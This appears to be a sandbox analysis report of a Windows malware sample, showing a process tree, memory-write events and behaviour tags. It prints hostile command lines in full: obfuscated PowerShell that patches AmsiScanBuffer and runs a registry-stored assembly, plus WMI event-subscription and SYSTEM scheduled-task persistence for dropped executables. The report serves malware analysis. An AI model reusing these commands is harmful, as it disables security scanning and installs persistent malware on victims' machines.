PID 2572 wrote to memory of 2488	2572	sqnlgfm.exe	104
PID 1552 wrote to memory of 3960	1552	powershell.EXE	109
PID 1552 wrote to memory of 3960	1552	powershell.EXE	109
PID 1552 wrote to memory of 3960	1552	powershell.EXE	109
PID 1552 wrote to memory of 3960	1552	powershell.EXE	109
PID 1552 wrote to memory of 3960	1552	powershell.EXE	109
PID 1552 wrote to memory of 3960	1552	powershell.EXE	109
PID 1552 wrote to memory of 3960	1552	powershell.EXE	109
PID 1552 wrote to memory of 3960	1552	powershell.EXE	109
PID 1552 wrote to memory of 3960	1552	powershell.EXE	109
PID 1552 wrote to memory of 3960	1552	powershell.EXE	109
PID 1552 wrote to memory of 3960	1552	powershell.EXE	109
PID 3960 wrote to memory of 612	3960	dllhost.exe	5
PID 3960 wrote to memory of 676	3960	dllhost.exe	7
PID 3960 wrote to memory of 948	3960	dllhost.exe	12
PID 3960 wrote to memory of 1016	3960	dllhost.exe	13
PID 3960 wrote to memory of 396	3960	dllhost.exe	14
PID 3960 wrote to memory of 1036	3960	dllhost.exe	16
PID 3960 wrote to memory of 1052	3960	dllhost.exe	17
PID 3960 wrote to memory of 1092	3960	dllhost.exe	18
PID 3960 wrote to memory of 1188	3960	dllhost.exe	19
PID 3960 wrote to memory of 1232	3960	dllhost.exe	20
PID 3960 wrote to memory of 1272	3960	dllhost.exe	21
PID 3960 wrote to memory of 1340	3960	dllhost.exe	22
PID 3960 wrote to memory of 1356	3960	dllhost.exe	23
PID 3960 wrote to memory of 1372	3960	dllhost.exe	24
PID 3960 wrote to memory of 1464	3960	dllhost.exe	25
PID 3960 wrote to memory of 1516	3960	dllhost.exe	26
PID 3960 wrote to memory of 1524	3960	dllhost.exe	27
PID 3960 wrote to memory of 1648	3960	dllhost.exe	28
PID 3960 wrote to memory of 1716	3960	dllhost.exe	29
PID 3960 wrote to memory of 1724	3960	dllhost.exe	30
PID 3960 wrote to memory of 1808	3960	dllhost.exe	31
PID 3960 wrote to memory of 1832	3960	dllhost.exe	32
PID 3960 wrote to memory of 1900	3960	dllhost.exe	33
PID 3960 wrote to memory of 1908	3960	dllhost.exe	34
PID 3960 wrote to memory of 1976	3960	dllhost.exe	35
PID 3960 wrote to memory of 2020	3960	dllhost.exe	36
PID 3960 wrote to memory of 1688	3960	dllhost.exe	37
PID 3960 wrote to memory of 2120	3960	dllhost.exe	39
PID 3960 wrote to memory of 2240	3960	dllhost.exe	40
PID 3960 wrote to memory of 2312	3960	dllhost.exe	41
PID 3960 wrote to memory of 2324	3960	dllhost.exe	42
PID 3960 wrote to memory of 2388	3960	dllhost.exe	43
PID 3960 wrote to memory of 2528	3960	dllhost.exe	44
PID 3960 wrote to memory of 2600	3960	dllhost.exe	45
PID 3960 wrote to memory of 2612	3960	dllhost.exe	46
PID 3960 wrote to memory of 2636	3960	dllhost.exe	47
PID 3960 wrote to memory of 2644	3960	dllhost.exe	48
PID 3960 wrote to memory of 2900	3960	dllhost.exe	49
PID 3960 wrote to memory of 692	3960	dllhost.exe	50
PID 3960 wrote to memory of 772	3960	dllhost.exe	51
PID 3960 wrote to memory of 3144	3960	dllhost.exe	52

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:612
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:1016
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{b262d758-f368-4ca9-80d2-bde26ab769f0}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3960
- C:\Windows\SysWOW64\dllhost.exe
  C:\Windows\SysWOW64\dllhost.exe /Processid:{55235e39-6908-4e9c-b401-ca3267a4e8e4}
  2⤵
  PID:3044
- C:\Windows\SysWOW64\dllhost.exe
  C:\Windows\SysWOW64\dllhost.exe /Processid:{55235e39-6908-4e9c-b401-ca3267a4e8e4}
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3076

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:676

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:948

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:396

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1036

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1052

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1092

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1188
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:3144
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:fAQwDTqEhDXs{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$BtDSIaHsjQjdiJ,[Parameter(Position=1)][Type]$msMsYYqagt)$QqWKcPfjtQn=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$QqWKcPfjtQn.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$BtDSIaHsjQjdiJ).SetImplementationFlags('Runtime,Managed');$QqWKcPfjtQn.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$msMsYYqagt,$BtDSIaHsjQjdiJ).SetImplementationFlags('Runtime,Managed');Write-Output $QqWKcPfjtQn.CreateType();}$UKMdBhbGdsxGZ=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$RhpWllaBMTFjku=$UKMdBhbGdsxGZ.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$ZGnFwVFoVXLjVMVRcSi=fAQwDTqEhDXs @([String])([IntPtr]);$rgtIPNptNdfEDcyZIEENLg=fAQwDTqEhDXs @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$gMgGARcgtOb=$UKMdBhbGdsxGZ.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$uNCpUlnBRjnBbL=$RhpWllaBMTFjku.Invoke($Null,@([Object]$gMgGARcgtOb,[Object]('Load'+'LibraryA')));$RoehDfTJyijxjlMeo=$RhpWllaBMTFjku.Invoke($Null,@([Object]$gMgGARcgtOb,[Object]('Vir'+'tual'+'Pro'+'tect')));$LQjQkqc=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($uNCpUlnBRjnBbL,$ZGnFwVFoVXLjVMVRcSi).Invoke('a'+'m'+'si.dll');$AkiSmraAJkZCxqHwP=$RhpWllaBMTFjku.Invoke($Null,@([Object]$LQjQkqc,[Object]('Ams'+'iSc'+'an'+'Buffer')));$YNpaseKMqU=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RoehDfTJyijxjlMeo,$rgtIPNptNdfEDcyZIEENLg).Invoke($AkiSmraAJkZCxqHwP,[uint32]8,4,[ref]$YNpaseKMqU);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$AkiSmraAJkZCxqHwP,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RoehDfTJyijxjlMeo,$rgtIPNptNdfEDcyZIEENLg).Invoke($AkiSmraAJkZCxqHwP,[uint32]8,0x20,[ref]$YNpaseKMqU);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('$pdemlcoustager')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1552
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:PFKTyinUpEDv{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$abymuRlkQjmTrF,[Parameter(Position=1)][Type]$TBUUJpeHoQ)$bNoCeNrKzGR=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$bNoCeNrKzGR.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$abymuRlkQjmTrF).SetImplementationFlags('Runtime,Managed');$bNoCeNrKzGR.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$TBUUJpeHoQ,$abymuRlkQjmTrF).SetImplementationFlags('Runtime,Managed');Write-Output $bNoCeNrKzGR.CreateType();}$rUqpnlLZvfYLw=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$SazXiyUxkAWfLJ=$rUqpnlLZvfYLw.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$czwRmHDEasOSMTmEJwe=PFKTyinUpEDv @([String])([IntPtr]);$xSwoJaFMwstahEsqztveVT=PFKTyinUpEDv @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$fZxYgBsmvox=$rUqpnlLZvfYLw.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$oxBinHNrslImZy=$SazXiyUxkAWfLJ.Invoke($Null,@([Object]$fZxYgBsmvox,[Object]('Load'+'LibraryA')));$bnEQaOGGHnPZIBZNA=$SazXiyUxkAWfLJ.Invoke($Null,@([Object]$fZxYgBsmvox,[Object]('Vir'+'tual'+'Pro'+'tect')));$bXNXdvz=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($oxBinHNrslImZy,$czwRmHDEasOSMTmEJwe).Invoke('a'+'m'+'si.dll');$QRuArpxyQCShSZgDb=$SazXiyUxkAWfLJ.Invoke($Null,@([Object]$bXNXdvz,[Object]('Ams'+'iSc'+'an'+'Buffer')));$NbslDLtlaJ=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($bnEQaOGGHnPZIBZNA,$xSwoJaFMwstahEsqztveVT).Invoke($QRuArpxyQCShSZgDb,[uint32]8,4,[ref]$NbslDLtlaJ);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$QRuArpxyQCShSZgDb,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($bnEQaOGGHnPZIBZNA,$xSwoJaFMwstahEsqztveVT).Invoke($QRuArpxyQCShSZgDb,[uint32]8,0x20,[ref]$NbslDLtlaJ);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('$pdemlcoustager')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1072
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4832

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in Windows directory
PID:1232

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1272

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1340

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1356

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1372
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1464

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1516

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1524

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1648

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1716

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1724

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1808

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1832

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1900

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1908

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1976

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2020

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1688

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2120

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2240

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2312

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2324

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2388

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2528

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2600

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2612

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2636

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2644

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2900

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:772

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3188

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3344

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3440
- C:\Users\Admin\AppData\Local\Temp\8c08e3f2a07527ef11697bb3a466ed68eb3ab059dc031a02b5195d15c6e9f27d.exe
  "C:\Users\Admin\AppData\Local\Temp\8c08e3f2a07527ef11697bb3a466ed68eb3ab059dc031a02b5195d15c6e9f27d.exe"
  2⤵
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: RenamesItself
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1112
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c ping 127.0.0.1 -n 5 & Start c:\windows\fonts\xhaubjd\sqnlgfm.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:2588
  - - C:\Windows\SysWOW64\PING.EXE
      ping 127.0.0.1 -n 5
      4⤵
      System Location Discovery: System Language Discovery
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:1504
  - - \??\c:\windows\fonts\xhaubjd\sqnlgfm.exe
      c:\windows\fonts\xhaubjd\sqnlgfm.exe
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:1368

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3576

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3748

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3948

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4160

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:5068

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4796

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:1536

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:3032

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4648

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:2136

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4772

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4816

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:4992

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4536

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:2996

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:1804

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:2876

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:2948

\??\c:\windows\fonts\xhaubjd\sqnlgfm.exe
c:\windows\fonts\xhaubjd\sqnlgfm.exe
1⤵
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2572
- C:\Windows\TEMP\wfeyulda\acbzga.exe
  C:\Windows\TEMP\wfeyulda\acbzga.exe
  2⤵
  - Executes dropped EXE
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:2488
- C:\Windows\SysWOW64\cmd.exe
  cmd /c wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="awuqrsom" DELETE & wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="eezqdwaa" DELETE & wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='awuqrsom'" DELETE
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5008
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5020
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="awuqrsom" DELETE
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2368
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="eezqdwaa" DELETE
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3252
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='awuqrsom'" DELETE
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4228
- C:\Windows\SysWOW64\cmd.exe
  cmd /c wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="awuqrsom", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'" & wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="eezqdwaa",CommandLineTemplate="c:\windows\ime\lgoavey\ovhzrec.exe" & wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name="awuqrsom"", Consumer="CommandLineEventConsumer.Name="eezqdwaa""
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2260
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:392
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="awuqrsom", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1916
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="eezqdwaa",CommandLineTemplate="c:\windows\ime\lgoavey\ovhzrec.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2632
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name="awuqrsom"", Consumer="CommandLineEventConsumer.Name="eezqdwaa""
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1492
- C:\Windows\SysWOW64\cmd.exe
  cmd /c schtasks /DELETE /TN vdcerqaa /F
  2⤵
  - Indicator Removal: Clear Persistence
  - System Location Discovery: System Language Discovery
  PID:2172
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    - Suspicious use of SetWindowsHookEx
    PID:2448
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /TN vdcerqaa /F
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3540
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 30 /tn "vdcerqaa" /ru system /tr "c:\windows\ime\lgoavey\ovhzrec.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3936
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    - Suspicious use of SetWindowsHookEx
    PID:3480
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4924
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 30 /tn "vdcerqaa" /ru system /tr "c:\windows\ime\lgoavey\ovhzrec.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:3968
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cmd /c powercfg -import c:\windows\fonts\xhaubjd\BestPower.pow
  2⤵
  - Power Settings
  - System Location Discovery: System Language Discovery
  PID:2508
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3996
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c powercfg -import c:\windows\fonts\xhaubjd\BestPower.pow
    3⤵
    - Power Settings
    - System Location Discovery: System Language Discovery
    PID:4988
  - - C:\Windows\SysWOW64\powercfg.exe
      powercfg -import c:\windows\fonts\xhaubjd\BestPower.pow
      4⤵
      Power Settings
      System Location Discovery: System Language Discovery
      PID:1580
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cmd /c powercfg -setactive 6896ea72-9f1b-45bb-9a40-dfe31c7f78b9
  2⤵
  - Power Settings
  - System Location Discovery: System Language Discovery
  PID:1228
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4300
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c powercfg -setactive 6896ea72-9f1b-45bb-9a40-dfe31c7f78b9
    3⤵
    - Power Settings
    - System Location Discovery: System Language Discovery
    PID:3352
  - - C:\Windows\SysWOW64\powercfg.exe
      powercfg -setactive 6896ea72-9f1b-45bb-9a40-dfe31c7f78b9
      4⤵
      Power Settings
      PID:4284
- C:\Windows\SysWOW64\cmd.exe
  cmd /c powercfg -h off
  2⤵
  - Power Settings
  - System Location Discovery: System Language Discovery
  PID:4716
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    - Suspicious use of SetWindowsHookEx
    PID:4616
- - C:\Windows\SysWOW64\powercfg.exe
    powercfg -h off
    3⤵
    - Power Settings
    - System Location Discovery: System Language Discovery
    PID:3168
- \??\c:\windows\fonts\dcjgbeul\gnygcm.exe
  c:\windows\fonts\dcjgbeul\gnygcm.exe
  2⤵
  - Executes dropped EXE
  - Drops file in Windows directory
  - Suspicious use of FindShellTrayWindow
  PID:4608
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5112

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:3656

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:1924

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
PID:2956

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
PID:3084

C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
1⤵
PID:2552

C:\Windows\system32\backgroundTaskHost.exe
